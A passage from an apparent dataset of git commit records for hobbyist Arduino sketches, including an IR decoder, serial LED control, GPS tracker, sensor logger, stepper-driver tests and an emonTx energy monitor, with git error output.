PIND\n#define IRpin 2\n\/\/ for MEGA use these!\n\/\/#define IRpin_PIN PINE\n\/\/#define IRpin 4\n\n\/\/ the maximum pulse we'll listen for - 65 milliseconds is a long time\n#define MAXPULSE 65000\n\n\/\/ what our timing resolution should be, larger is better\n\/\/ as its more 'precise' - but too large and you wont get\n\/\/ accurate timing\n#define RESOLUTION 20\n\n\/\/ we will store up to 100 pulse pairs (this is -a lot-)\nuint16_t pulses[100][2]; \/\/ pair is high and low pulse\nuint8_t currentpulse = 0; \/\/ index for pulses we're storing\n\nvoid setup(void) {\n Serial.begin(9600);\n Serial.println(\"Ready to decode IR!\");\n}\n\nvoid loop(void) {\n uint16_t highpulse, lowpulse; \/\/ temporary storage timing\n highpulse = lowpulse = 0; \/\/ start out with no pulse length\n \n \n\/\/ while (digitalRead(IRpin)) { \/\/ this is too slow!\n while (IRpin_PIN & (1 << IRpin)) {\n \/\/ pin is still HIGH\n\n \/\/ count off another few microseconds\n highpulse++;\n delayMicroseconds(RESOLUTION);\n\n \/\/ If the pulse is too long, we 'timed out' - either nothing\n \/\/ was received or the code is finished, so print what\n \/\/ we've grabbed so far, and then reset\n if ((highpulse >= MAXPULSE) && (currentpulse != 0)) {\n printpulses();\n currentpulse=0;\n return;\n }\n }\n \/\/ we didn't time out so lets stash the reading\n pulses[currentpulse][0] = highpulse;\n \n \/\/ same as above\n while (! (IRpin_PIN & _BV(IRpin))) {\n \/\/ pin is still LOW\n lowpulse++;\n delayMicroseconds(RESOLUTION);\n if ((lowpulse >= MAXPULSE) && (currentpulse != 0)) {\n printpulses();\n currentpulse=0;\n return;\n }\n }\n pulses[currentpulse][1] = lowpulse;\n\n \/\/ we read one high-low pulse successfully, continue!\n currentpulse++;\n}\nvoid printpulses(void) {\n Serial.println(\"\\n\\r\\n\\rReceived: \\n\\rOFF \\tON\");\n for (uint8_t i = 0; i < currentpulse; i++) {\n Serial.print(pulses[i][0] * RESOLUTION, DEC);\n Serial.print(\" usec, \");\n Serial.print(pulses[i][1] * RESOLUTION, DEC);\n Serial.println(\" usec\");\n }\n \n \/\/ print it in a 'array' format\n Serial.println(\"int IRsignal[] = {\");\n Serial.println(\"\/\/ ON, OFF (in 10's of microseconds)\");\n for (uint8_t i = 0; i < currentpulse-1; i++) {\n Serial.print(\"\\t\"); \/\/ tab\n Serial.print(pulses[i][1] * RESOLUTION \/ 10, DEC);\n Serial.print(\", \");\n Serial.print(pulses[i+1][0] * RESOLUTION \/ 10, DEC);\n Serial.println(\",\");\n }\n Serial.print(\"\\t\"); \/\/ tab\n Serial.print(pulses[currentpulse-1][1] * RESOLUTION \/ 10, DEC);\n Serial.print(\", 0};\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LazIRTag.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"c1b4ad09454fec384e4ae12c402036e0c64378e1","subject":"Updating LED code for new layout","message":"Updating LED code for new layout\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"projects\/weather_station\/weather-node-v3\/weather-node-v3.ino","new_file":"projects\/weather_station\/weather-node-v3\/weather-node-v3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ac3743f03a8f08c44018e51297d58db31976b2e3","subject":"Example Arduino Code to turn on\/off LED via serial","message":"Example Arduino Code to turn on\/off LED via serial\n\nSend commands to the Arduino via serial","repos":"HARDWAREdotASTRO\/ROBh.aTnetwork,HARDWAREdotASTRO\/ROBh.aTnetwork,HARDWAREdotASTRO\/ROBh.aTnetwork","old_file":"ArduinoCode\/serial_blink.ino","new_file":"ArduinoCode\/serial_blink.ino","new_contents":"\n\/*\nSerial Test\n*\/\nString inString = \"\"; \/\/string to hold input\nString TimeString = \"\";\nString CommandString = \"\";\nint timeInt = \"\";\n\nvoid setup() \/\/ initializes the sketch by defining variables and pin modes\n{\n pinMode(LED_BUILTIN, OUTPUT); \/\/ set the built in LED to turn on and oFF\n Serial.begin(9600);\/\/ sets the data rate for the serial monitor tool\n\/\/ while (! Serial);\n\/\/ Serial.println(\"Push Button or Type 'onA' or 'onB'\");\/\/ Prints the phrase on serial monitor\n \n}\n\nvoid loop() \/\/following information will not return information to the function that it was called\n{\n \/\/Serial monitor, send a command of the formate \"00,000\" where the first is a two digit number\n \/\/corresponding to some action the arduino should take, and the third is some additional information\n \/\/ in the \"01\" example it is the length of time to keep the LED on for.\n if(Serial.available()) { \/\/gets the number of bytes available for reading from the serial port\n inString = Serial.readString();\/\/reads incoming data from the serial port sets it as a string\n int commaIndex = inString.indexOf(','); \/\/finds the delimiter postion\n CommandString = inString.substring(0,commaIndex); \/\/splits the string into the command \n TimeString = inString.substring(commaIndex+1); \/\/splits out the amount of time to stay on, if necessary\n timeInt = TimeString.toInt(); \/\/converts the time string into an integer\n \/\/Serial.print(\"Input:\");\n \/\/Serial.println(inString);\n \/\/Serial.print(\"Command:\");\n \/\/Serial.println(CommandString);\n \/\/Serial.print(\"Time:\");\n \/\/Serial.println(timeInt);\n if (CommandString == \"00\"){ \/\/command \"00\" is simpily to turn on LED\n digitalWrite(LED_BUILTIN, LOW);\n }\n if (CommandString == \"01\"){ \/\/commands the LED to turn on for the amount time in seconds given in serial command\n \/\/this is a lazy implementation of this though since the entire loop is delayed, it would\n \/\/be better to implement it as a counter in the main loop and have it shut off after so many main loops\n digitalWrite(LED_BUILTIN, HIGH); \n delay(timeInt*1000); \/\/delay in milliseconds\n digitalWrite(LED_BUILTIN,LOW);\n }\n if (CommandString == \"02\"){ \/\/turns the LED off\n digitalWrite(LED_BUILTIN, HIGH);\n }\n }\n \/\/here you should be able to put in your other commands\n}\n \n \r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoCode\/serial_blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4bf330df79b3a0974f0966837670c0d3a91eb26c","subject":"Test_code","message":"Test_code\n\nThe code is from Bob. We want to figure out the mechanism of the motion\ndetector.\n","repos":"Hubert51\/ROOMr","old_file":"test code from bob\/main.ino","new_file":"test code from bob\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'test' did not match any file(s) known to git\nerror: pathspec 'code' did not match any file(s) known to git\nerror: pathspec 'from' did not match any file(s) known to git\nerror: pathspec 'bob\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e8d69b167e46d9f34dacd580c025b9043be4d7ef","subject":"Added Arduino Code.","message":"Added Arduino Code.\n","repos":"AkshatSh\/CloudBike,AkshatSh\/CloudBike,AkshatSh\/CloudBike","old_file":"Arduino\/IRTest\/IRTest.ino","new_file":"Arduino\/IRTest\/IRTest.ino","new_contents":"const int senRead = 0;\nint countC = 0, countB = 0;\n\nvoid setup()\n{\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n \/\/Serial.println(\"BLUETOOTH?\");\n if (analogRead(senRead) < 800)\n {\n if (countC <= 2)\n {\n countC++;\n }\n countB = 0;\n if (countC == 2)\n {\n \/\/Serial.print(String(millis())); Serial.print(\" \");\n Serial.println(\"1\"); \/\/ Send 1 for IR detected\n }\n }\n else if (analogRead(senRead >= 800))\n {\n if (countB <= 2)\n {\n countB++;\n }\n countC = 0;\n if (countB == 2)\n {\n \/\/Serial.print(String(millis())); Serial.print(\" \");\n Serial.println(\"0\");\n }\n }\n\n delay(1);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/IRTest\/IRTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cc51df2007bdd3bb5f4b7e53ea9503bce419f934","subject":"Counter Sketch for fieldtest","message":"Counter Sketch for fieldtest\n","repos":"nicho90\/IoB-Devices,nicho90\/IoB-Devices","old_file":"theftprotection_counter.ino","new_file":"theftprotection_counter.ino","new_contents":"\/**\nArduino GPS Client to retrieve the Location data from the GPS shield.\nThe information are processed through the TinyGPS library and send via the Akeru\n**\/\n\n#include <SoftwareSerial.h>\n#include <Akeru.h>\n#include <TinyGPS.h>\n\n\/\/ Counter\nint counter;\n\nTinyGPS gps;\n\/\/ Akeru uses RX=5, TX=4\nSoftwareSerial ssAkeru(5,4);\nSoftwareSerial ss(6,7);\n\nvoid setup()\n{\n counter = 0;\n Serial.begin(9600);\n Serial.print(\"Finished setup\\n\");\n}\n\ntypedef struct {\n bool theftprotection;\n float lat;\n float lng;\n int count;\n} Payload;\n\nvoid loop()\n{\n bool newData = false;\n unsigned long chars;\n unsigned short sentences, failed;\n\tPayload p;\n\n ss.begin(9600);\n\n \/\/ PARSE GPS data for one second and report some key values\n for (unsigned long start = millis(); millis() - start < 1000;)\n {\n while (ss.available())\n {\n char c = ss.read();\n \/\/Serial.print(c); \/\/uncomment to see the full NMEA datasets\n if (gps.encode(c)) \/\/ Did a new valid sentence come in?\n newData = true;\n }\n }\n \/\/ end gps in order to make port listening for akeru available\n ss.end();\n\n if (newData)\n {\n \/\/ IF NEW GPS-DATA\n float flat, flon;\n unsigned long age;\n gps.f_get_position(&flat, &flon, &age);\n Serial.println(\"\");\n Serial.print(\"LAT = \");\n Serial.println(flat == TinyGPS::GPS_INVALID_F_ANGLE ? 0.0 : flat, 6);\n Serial.print(\"LON = \");\n Serial.println(flon == TinyGPS::GPS_INVALID_F_ANGLE ? 0.0 : flon, 6);\n newData = false;\n\n\n p.theftprotection = true;\n p.lat = flat;\n p.lng = flon;\n p.count = counter;\n\n\n \/\/ INIT MODEM\n Akeru.begin();\n \/\/ Wait 1 second for the modem to warm up\n delay(1000);\n\n if(!Akeru.isReady()) {\n Serial.println(\"Modem not ready\");\n } else {\n Serial.println(\"Modem ready\");\n\n \/\/ CHECK IF LNG\/LAT != 0\n if(p.lat == 0 || p.lng == 0) {\n Serial.println(\"Unknown position\");\n } else {\n Serial.println(\"Message-Size: \");\n Serial.println(sizeof(p));\n Akeru.send(&p, sizeof(p));\n Serial.println(\"Message sent!\");\n counter++;\n delay(1000);\n }\n\n }\n \/\/ end modem in order to make port listening for gps available\n ssAkeru.end();\n } else {\n\n Serial.print(\"Theft-Protection: 1\\n\");\n Serial.print(\"No GPS data\\n\");\n Serial.print(\"LAT = 0.00000\\n\");\n Serial.print(\"LON = 0.00000\\n\");\n DHT.read11(dht_dpin);\n Serial.print(\"Humidity = \");\n Serial.print(DHT.humidity);\n Serial.print(\"% \");\n Serial.print(\"temperature = \");\n Serial.print(DHT.temperature);\n Serial.println(\"C\\n\");\n\n delay(1000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'theftprotection_counter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7321d9bd98a97473fa02009a555a1f003876b8c8","subject":"Added deletion of data.csv in init","message":"Added deletion of data.csv in init","repos":"bruinracing\/DAQ2017,bruinracing\/DAQ2017","old_file":"Sensors.ino","new_file":"Sensors.ino","new_contents":"#include \"Potentiometer.h\"\n#include \"HallEffect.h\"\n#include \"IMU.h\"\n#include \"SDHelper.h\"\n\n\/* hallEffect leftHall, rightHall; *\/\npotentiometer shockLeftPot, shockRightPot;\nLSM9DS1 imu;\n#define brakePressureFront A2\n\n\/\/the hardware CS pin (10 on most Arduino boards,\n\/\/ 53 on the Mega) must be left as an output or the SD\n\/\/ library functions will not work.\nconst int CSpin = 10;\nString dataString = \"\"; \/\/ holds the data to be written to the SD card\nfloat sensorReading1 = 0.00; \/\/ value read from your first sensor\nfloat sensorReading2 = 0.00; \/\/ value read from your second sensor\nfloat gyroX = 0.00; \/\/ value read from your third sensor\nfloat gyroY = 0.00;\nfloat gyroZ = 0.00;\nfloat accelX = 0.00;\nfloat accelY = 0.00;\nfloat accelZ = 0.00;\n\n#define PRINT_SPEED 250 \/\/ 250 ms between prints\nstatic unsigned long lastPrint = 0; \/\/ Keep track of print time\n\nfloat shockLeftPos, shockRightPos;\nfloat brakePressureFrontValue;\n\nvoid setup() {\n Serial.begin(115200);\n\n if (!initSD(CSpin)) {\n Serial.println(\"Card error\");\n while(1);\n }\n\n \/* rightHall.pinNum=3; *\/\n \/* leftHall.pinNum=4; *\/\n \/* pinMode(rightHall.pinNum,INPUT); *\/\n \/* pinMode(leftHall.pinNum,INPUT); *\/\n\n shockLeftPot.pin = A0;\n shockLeftPot.degrees = 360;\n shockRightPot.pin = A1;\n shockRightPot.degrees = 360;\n\n Serial.println(\"Beginning IMU initialization.\");\n \/\/ Before initializing the IMU, there are a few settings\n \/\/ we may need to adjust. Use the settings struct to set\n \/\/ the device's communication mode and addresses:\n imu.settings.device.commInterface = IMU_MODE_I2C;\n imu.settings.device.mAddress = LSM9DS1_M;\n imu.settings.device.agAddress = LSM9DS1_AG;\n \/\/ The above lines will only take effect AFTER calling\n \/\/ imu.begin(), which verifies communication with the IMU\n \/\/ and turns it on.\n if (!imu.begin())\n {\n Serial.println(\"Failed to communicate with LSM9DS1.\");\n Serial.println(\"Double-check wiring.\");\n Serial.println(\"Default settings in this sketch will \" \\\n \"work for an out of the box LSM9DS1 \" \\\n \"Breakout, but may need to be modified \" \\\n \"if the board jumpers are.\");\n while (1)\n ;\n }\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n shockLeftPos = refresh_RotaryPotentiometer(shockLeftPot);\n shockRightPos = refresh_RotaryPotentiometer(shockRightPot);\n brakePressureFrontValue = (analogRead(brakePressureFront)*5.0\/1023.0-.5)\/4*5000;\n\n \/* refresh_WheelSpeed(rightHall); *\/\n refresh_IMU(imu);\n\n if ((lastPrint + PRINT_SPEED) < millis())\n {\n gyroX = imu.calcGyro(imu.gx);\n gyroY = imu.calcGyro(imu.gy);\n gyroZ = imu.calcGyro(imu.gz);\n \/\/accel readings\n accelX = imu.calcAccel(imu.ax);\n accelY = imu.calcAccel(imu.ay);\n accelZ = imu.calcAccel(imu.az);\n lastPrint = millis(); \/\/ Update lastPrint time\n }\n \/\/ build the data string\n \n \/\/dataString = String(sensorReading1) + \",\";\n \/\/dataString += String(sensorReading2) + \",\";\n dataString = String(gyroX) + \",\";\n dataString += String(gyroY) + \",\";\n dataString += String(gyroZ) + \",\";\n dataString += String(accelX) + \",\";\n dataString += String(accelY) + \",\"; \n dataString += String(accelZ) + \",\"; \/\/ for IMU\n \n dataString += String(shockLeftPos) + \",\";\n dataString += String(shockRightPos) + \",\";\n dataString += String(brakePressureFrontValue) + \",\";\n\n \/\/ Debug print statements\n \/*\n Serial.print( \"Left shock position: \" );\n Serial.println( shockLeftPos );\n Serial.print( \"Right shock position: \" );\n Serial.println( shockRightPos) ;\n Serial.print( \"Brake pressure value: \" );\n Serial.println( analogRead(brakePressureFront) );\n *\/\n Serial.print( \"Gyro X: \" );\n Serial.println(gyroX);\n Serial.print( \"Gyro Y: \" );\n Serial.println(gyroY);\n Serial.print( \"Gyro Z: \" );\n Serial.println(gyroZ);\n Serial.print( \"Accel X: \" );\n Serial.println(accelX);\n Serial.print( \"Accel Y: \" );\n Serial.println(accelY);\n Serial.print( \"Accel Z: \" );\n Serial.println(accelZ);\n \n \/\/Serial.println ( brakePressureFrontValue );\n \/\/ convert to CSV\n saveData(dataString); \/\/ save to SD card\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sensors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ce9ed8018c44eeee8306af2b28c7157c06852e23","subject":"Add constant speed tests as an example sketch #79","message":"Add constant speed tests as an example sketch #79\n","repos":"laurb9\/StepperDriver","old_file":"examples\/UnitTest\/UnitTest.ino","new_file":"examples\/UnitTest\/UnitTest.ino","new_contents":"\/*\n * This is not an example sketch, it is used to validate code changes \n * and determine maximum workable RPM\/microsteps parameters for a given board.\n * \n * Usage: run with serial terminal open\n * \n * All driver tests are done with microstep 1. Increasing microstep halves max rpm with each level.\n * The maximum usable RPM can be determined from the output.\n * The max RPM at a different microstep can be calculated with formula \"max rpm \/ microstep\"\n * \n * Copyright (C)2020 Laurentiu Badea\n *\n * This file may be redistributed under the terms of the MIT license.\n * A copy of this license has been included with this distribution in the file LICENSE.\n *\/\n#include <Arduino.h>\n\n#include \"BasicStepperDriver.h\"\n#include \"MultiDriver.h\"\n#include \"SyncDriver.h\"\n\n\/\/ RPMS contains the list of RPMS to test at, assuming microstep=1\nconst float RPMS[] = {60, 0.5, 1, 10, 100, 200, 300, 600, 1200, 2400, 4800, 9600};\nconst int RPMS_COUNT = sizeof(RPMS)\/sizeof(*RPMS);\n\/\/ STEPS is how many steps for each test. More has better accuracy but slower\n#define STEPS 20\n\/\/ ALLOWED_DEVIATION is the error tolerance. 0.10 considers 90% - 110% range aceptable\n#define ALLOWED_DEVIATION 0.10\n\n\/*\n * Verify that the expected time calculation is correct at different rpms and two microstep levels\n *\/\nbool test_calculations(BasicStepperDriver stepper){\n bool pass = true;\n char t[128];\n for (int i = 0; i < RPMS_COUNT; i++){\n float rpm = RPMS[i];\n for (int microstep = 1; microstep <= 16; microstep <<= 4){\n long expected_micros = long(1000000.0f * 60.0f \/ rpm);\n stepper.begin(rpm, microstep);\n long estimated_micros = stepper.getTimeForMove(200*microstep);\n sprintf(t, \"rpm=%-3d expected=%9u\u00b5s estimated %9u\u00b5s\", \n int(rpm), expected_micros, estimated_micros);\n Serial.println(t);\n if (estimated_micros != expected_micros) {\n pass = false;\n }\n }\n } \n return pass; \n}\n\n\/*\n * Pass\/fail the result and print it out in a one-line format\n *\/\nbool result(float rpm, int microstep, int steps, long elapsed_micros, long expected_micros){\n bool pass = true;\n char t[128];\n float error = (float(elapsed_micros) - float(expected_micros)) \/ float(expected_micros);\n unsigned step_micros = expected_micros \/ steps;\n unsigned error_micros = abs(elapsed_micros - expected_micros) \/ steps;\n sprintf(t, \"microstep=%-3d rpm=%-3d expected=%9u\u00b5s elapsed=%9u\u00b5s step_err=%4d\u00b5s step=%6d\u00b5s\", \n microstep, int(rpm), expected_micros, elapsed_micros, error_micros, step_micros);\n Serial.print(t);\n if (error >= ALLOWED_DEVIATION || error <= -ALLOWED_DEVIATION) {\n pass = false;\n Serial.print(\" FAIL\");\n }\n Serial.println();\n return pass;\n}\n\n\/*\n * Run the tests for BasicStepperDriver\n *\/\nbool test_basic(BasicStepperDriver stepper){\n bool pass = true;\n for (int i = 0; i < RPMS_COUNT; i++){\n float rpm = RPMS[i];\n stepper.begin(rpm, 1);\n unsigned long start_time_micros = micros();\n stepper.move(STEPS);\n long elapsed_micros = micros() - start_time_micros;\n pass &= result(rpm, 1, STEPS, elapsed_micros, stepper.getTimeForMove(STEPS));\n }\n return pass;\n}\n\n\/*\n * Run the tests for MultiDriver with 3 motors\n *\/\nbool test_multi(BasicStepperDriver s1, BasicStepperDriver s2, BasicStepperDriver s3){\n MultiDriver controller(s1, s2, s3);\n bool pass = true;\n for (int i = 0; i < RPMS_COUNT; i++){\n float rpm = RPMS[i];\n s1.begin(rpm, 1);\n s2.begin(rpm, 1);\n s3.begin(rpm, 1);\n unsigned long start_time_micros = micros();\n controller.move(STEPS, 2*STEPS\/3, -STEPS\/2);\n long elapsed_micros = micros() - start_time_micros;\n pass &= result(rpm, 1, STEPS, elapsed_micros, s1.getTimeForMove(STEPS));\n }\n return pass;\n}\n\n\/*\n * Run the tests for SyncDriver with 3 motors\n *\/\nbool test_sync(BasicStepperDriver s1, BasicStepperDriver s2, BasicStepperDriver s3){\n SyncDriver controller(s1, s2, s3);\n bool pass = true;\n for (int i = 0; i < RPMS_COUNT; i++){\n float rpm = RPMS[i];\n s1.begin(rpm, 1);\n s2.begin(rpm, 1);\n s3.begin(rpm, 1);\n unsigned long start_time_micros = micros();\n controller.move(STEPS, 2*STEPS\/3, -STEPS\/2);\n long elapsed_micros = micros() - start_time_micros;\n pass &= result(rpm, 1, STEPS, elapsed_micros, s1.getTimeForMove(STEPS));\n }\n return pass;\n}\n\n#define TEST_RESULT(result, func, ...) #func \"(\" #__VA_ARGS__ \"): \" result\n#define RUN_TEST(desc, func, ...) Serial.println(desc); Serial.println(func(__VA_ARGS__) ? TEST_RESULT(\"OK\", func, __VA_ARGS__) : TEST_RESULT(\"FAIL\", func, __VA_ARGS__))\n\nvoid setup() {\n\n BasicStepperDriver s1(200, 12, 13);\n BasicStepperDriver s2(200, 12, 13);\n BasicStepperDriver s3(200, 12, 13);\n\n Serial.begin(1000000);\n delay(2000);\n RUN_TEST(\"Timing Calculation test\", test_calculations, s1);\n RUN_TEST(\"BasicStepperDriver test\", test_basic, s1);\n RUN_TEST(\"MultiDriver test\", test_multi, s1, s2, s3);\n RUN_TEST(\"SyncDriver test\", test_sync, s1, s2, s3);\n}\n\nvoid loop() {\n delay(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/UnitTest\/UnitTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c3d68d95dfe5ee94bc91023b176c7bf0d99e2c7a","subject":"Added Temperature sensor code","message":"Added Temperature sensor code\n","repos":"xnsense\/xns-firmware,xnsense\/xns-firmware","old_file":"Prototypes\/A7 Test\/A7_Test\/A7_Test.ino","new_file":"Prototypes\/A7 Test\/A7_Test\/A7_Test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Prototypes\/A7' did not match any file(s) known to git\nerror: pathspec 'Test\/A7_Test\/A7_Test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fd6a596bc6cd3fc57aefd23bf67ae1a70077aaae","subject":"Combined the mapSnake function and the globalSnake function, also deleted some redundant things","message":"Combined the mapSnake function and the globalSnake function, also deleted some redundant things\n","repos":"PeterL328\/SnakeRobot,Robot-Club\/SnakeRobot,PeterL328\/SnakeRobot,ExiaSR\/SnakeRobot,Robot-Club\/SnakeRobot","old_file":"Arduino code\/Snake\/Snake.ino","new_file":"Arduino code\/Snake\/Snake.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/Snake\/Snake.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a242e389e4d6080dbdbe5255cddc0174770b8c10","subject":"Use CT3 and requires config","message":"Use CT3 and requires config\n\nSee notes in the sketch regarding config file","repos":"pieman64\/ESPproMon","old_file":"OpenEnergyMonitor\/emonTx\/emontx3-30.ino","new_file":"OpenEnergyMonitor\/emonTx\/emontx3-30.ino","new_contents":"\/*\n USE CT3 !!!!! (CT4 for shield) and requires config.ino file or config tab in same folder\n emontx3-30.ino file originally from https:\/\/github.com\/openenergymonitor\/emontx3\/tree\/2.9.0\/firmware\/src\n emonTxV3.4 Discrete Sampling with RF disabled and sending data to ESP\n\n If AC-AC adapter is detected assume emonTx is also powered from adapter (jumper shorted) and take Real Power Readings and disable sleep mode to keep load on power supply constant\n If AC-AC addapter is not detected assume powering from battereis \/ USB 5V AC sample is not present so take Apparent Power Readings and enable sleep mode\n\n Transmitt values via RFM69CW radio\n\n -----------------------------------------\n Part of the openenergymonitor.org project\n\n Authors: Glyn Hudson & Trystan Lea and minor mods by ESPproMon\u00a9\n Builds upon JCW JeeLabs RF12 library and Arduino\n\n Licence: GNU GPL V3\n\n*\/\n\n\/*Recommended node ID allocation\n------------------------------------------------------------------------------------------------------------\n-ID-\t-Node Type-\n0\t- Special allocation in JeeLib RFM12 driver - reserved for OOK use\n1-4 - Control nodes\n5-10\t- Energy monitoring nodes\n11-14\t--Un-assigned --\n15-16\t- Base Station & logging nodes\n17-30\t- Environmental sensing nodes (temperature humidity etc.)\n31\t- Special allocation in JeeLib RFM12 driver - Node31 can communicate with nodes on any network group\n-------------------------------------------------------------------------------------------------------------\n\n\nChange Log:\nv3.0 22\/10\/17 Add amps, set RF_STATUS=0 etc\nv2.9 30\/03\/17 Correct RMS voltage calc at startup when USA mode is enabled\nv2.8 27\/02\/17 Correct USA voltage to 120V\nv2.7 24\/02\/17 Fix USA apparent power readings (assuming 110VRMS when no AC-AC voltage sample adapter is present). Fix DIP switch nodeID config serial print if node ID has been set via serial config\nv2.6 31\/10\/16 Add RF config via serial & save to EEPROM feature. Allows RF setings (nodeID, freq, group) via serial\nv2.5 19\/09\/16 Increase baud 9600 > 115200 to emonesp compatiability\nv2.4 06\/09\/16 Update serial output to use CSV string pairs to work with emonESP e.g. 'ct1:100,ct2:329'\nv2.3 16\/11\/15 Change to unsigned long for pulse count and make default node ID 8 to avoid emonHub node decoder conflict & fix counting pulses faster than 110ms, strobed meter LED http:\/\/openenergymonitor.org\/emon\/node\/11490\nv2.2 12\/11\/15 Remove DEBUG timming serial print code\nv2.1 24\/10\/15 Improved timing so that packets are sent just under 10s, reducing resulting data gaps in feeds + default status code for no temp sensors of 3000 which reduces corrupt packets improving data reliability\nV2.0 30\/09\/15 Update number of samples 1480 > 1662 to improve sampling accurancy: 1662 samples take 300 mS, which equates to 15 cycles @ 50 Hz or 18 cycles @ 60 Hz.\nV1.9 25\/08\/15 Fix spurious pulse readings from RJ45 port when DS18B20 but no pulse counter is connected (enable internal pull-up)\nV1.8 - 18\/06\/15 Increase max pulse width to 110ms\nV1.7 - 12\/06\/15 Fix pulse count debounce issue & enable pulse count pulse temperature\nV1.6 - Add support for multiple DS18B20 temperature sensors\nV1.5 - Add interrupt pulse counting - simplify serial print DEBUG\nV1.4.1 - Remove filter settle routine as latest emonLib 19\/01\/15 does not require\nV1.4 - Support for RFM69CW, DIP switches and battery voltage reading on emonTx V3.4\nV1.3 - fix filter settle time to eliminate large inital reading\nV1.2 - fix bug which caused Vrms to be returned as zero if CT1 was not connected\nV1.1 - fix bug in startup Vrms calculation, startup Vrms startup calculation is now more accuratre\n\nemonhub.conf node decoder (nodeid is 8 when switch is off, 7 when switch is on)\nSee: https:\/\/github.com\/openenergymonitor\/emonhub\/blob\/emon-pi\/configuration.md\n\n[[8]]\n nodename = emonTx_3\n firmware =V2_3_emonTxV3_4_DiscreteSampling\n hardware = emonTx_(NodeID_DIP_Switch1:OFF)\n [[[rx]]]\n names = power1, power2, power3, power4, Vrms, temp1, temp2, temp3, temp4, temp5, temp6, pulse\n datacodes = h,h,h,h,h,h,h,h,h,h,h,L\n scales = 1,1,1,1,0.01,0.1,0.1, 0.1,0.1,0.1,0.1,1\n units =W,W,W,W,V,C,C,C,C,C,C,p\n\n*\/\n\n#define emonTxV3 \/\/ Tell emonLib this is the emonTx V3 - don't read Vcc assume Vcc = 3.3V as is always the case on emonTx V3 eliminates bandgap error and need for calibration http:\/\/harizanov.com\/2013\/09\/thoughts-on-avr-adc-accuracy\/\n#define RF69_COMPAT 1 \/\/ Set to 1 if using RFM69CW or 0 is using RFM12B\n#include <JeeLib.h> \/\/https:\/\/github.com\/jcw\/jeelib - Tested with JeeLib 3\/11\/14\nISR(WDT_vect) { Sleepy::watchdogEvent(); } \/\/ Attached JeeLib sleep function to Atmega328 watchdog -enables MCU to be put into sleep mode inbetween readings to reduce power consumption\n\n#include \"EmonLib.h\" \/\/ Include EmonLib energy monitoring library https:\/\/github.com\/openenergymonitor\/EmonLib\nEnergyMonitor ct1, ct2, ct3, ct4;\n\n#include <OneWire.h> \/\/http:\/\/www.pjrc.com\/teensy\/td_libs_OneWire.html\n#include <DallasTemperature.h> \/\/http:\/\/download.milesburton.com\/Arduino\/MaximTemperature\/DallasTemperature_LATEST.zip\n\n\nconst byte version = 30; \/\/ WAS 29; \/\/ firmware version divided by 10 e,g 16 = V1.6\nboolean DEBUG = 1; \/\/ Print serial debug\n\n\/\/----------------------------emonTx V3 Settings---------------------------------------------------------------------------------------------------------------\nbyte Vrms= 230; \/\/ Vrms for apparent power readings (when no AC-AC voltage sample is present)\nconst byte Vrms_USA= 120; \/\/ VRMS for USA apparent power\n\/\/const byte TIME_BETWEEN_READINGS = 10; \/\/Time between readings becomes 10S later i.e. multipled by 1000\nconst byte TIME_BETWEEN_READINGS = 2; \/\/Time between readings becomes 2S later i.e. multipled by 1000\n\n\/\/http:\/\/openenergymonitor.org\/emon\/buildingblocks\/calibration\n\nconst float Ical1= 90.9; \/\/ (2000 turns \/ 22 Ohm burden) = 90.9\nconst float Ical2= 90.9; \/\/ (2000 turns \/ 22 Ohm burden) = 90.9\nconst float Ical3= 90.9; \/\/ (2000 turns \/ 22 Ohm burden) = 90.9\nconst float Ical4= 16.67; \/\/ (2000 turns \/ 120 Ohm burden) = 16.67\n\/\/const float Ical4= 15.00; \/\/ (1800 turns \/ 120 Ohm burden) = 15.0\n\nfloat Vcal= 268.97; \/\/ (230V x 13) \/ (9V x 1.2) = 276.9 Calibration for UK AC-AC adapter 77DB-06-09\n\/\/float Vcal=276.9;\n\/\/const float Vcal= 260; \/\/ Calibration for EU AC-AC adapter 77DE-06-09\nconst float Vcal_USA= 130.0; \/\/Calibration for US AC-AC adapter 77DA-10-09\nboolean USA=FALSE;\n\nconst float phase_shift= 1.85; \/\/ was 1.7 but could be 1.85 or even 1.205\nconst int no_of_samples= 1662;\nconst int no_of_half_wavelengths= 30;\nconst int timeout= 2000; \/\/emonLib timeout\nconst int ACAC_DETECTION_LEVEL= 3000;\nconst byte min_pulsewidth= 110; \/\/ minimum width of interrupt pulse (default pulse output meters = 100ms)\nconst int TEMPERATURE_PRECISION= 11; \/\/9 (93.8ms),10 (187.5ms) ,11 (375ms) or 12 (750ms) bits equal to resplution of 0.5C, 0.25C, 0.125C and 0.0625C\nconst byte MaxOnewire= 